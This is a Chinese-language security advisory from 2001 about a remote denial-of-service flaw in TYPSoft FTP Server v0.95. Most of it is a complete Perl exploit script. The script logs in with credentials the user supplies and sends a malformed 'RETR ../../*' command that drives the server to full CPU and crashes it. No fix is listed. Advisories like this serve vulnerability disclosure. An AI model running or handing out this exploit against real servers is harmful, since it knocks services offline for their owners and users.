TYPSoft FTP的STOR/RETR存在拒绝服务攻击

发布时间：2001-10-10
更新时间：2001-10-10
严重程度：中
威胁程度：远程拒绝服务
错误类型：输入验证错误
利用方式：服务器模式

受影响系统

TYPSoft FTP Server v0.95

详细描述
如果FYPSOFT FTP服务程序在接收到不正常“STOR”或者“RETR”命令后，会消耗99%CPU利用率而导致服务崩溃。

测试代码
<typ095DOS.pl>
#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - TYPSoft FTP Server v0.95 =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl typ095DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "RETR ../../*";

#Both works "STOR" and "RETR"

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n" or die
"Error: can't send pass\n";

print $remote "$err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\n";
$bla= <STDIN>;
close $remote;

解决方案
尚无

相关信息
J. Wagner (jan.wagner@de.tiscali.com)

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TYPSoft FTP的STOR/RETR存在拒绝服务攻击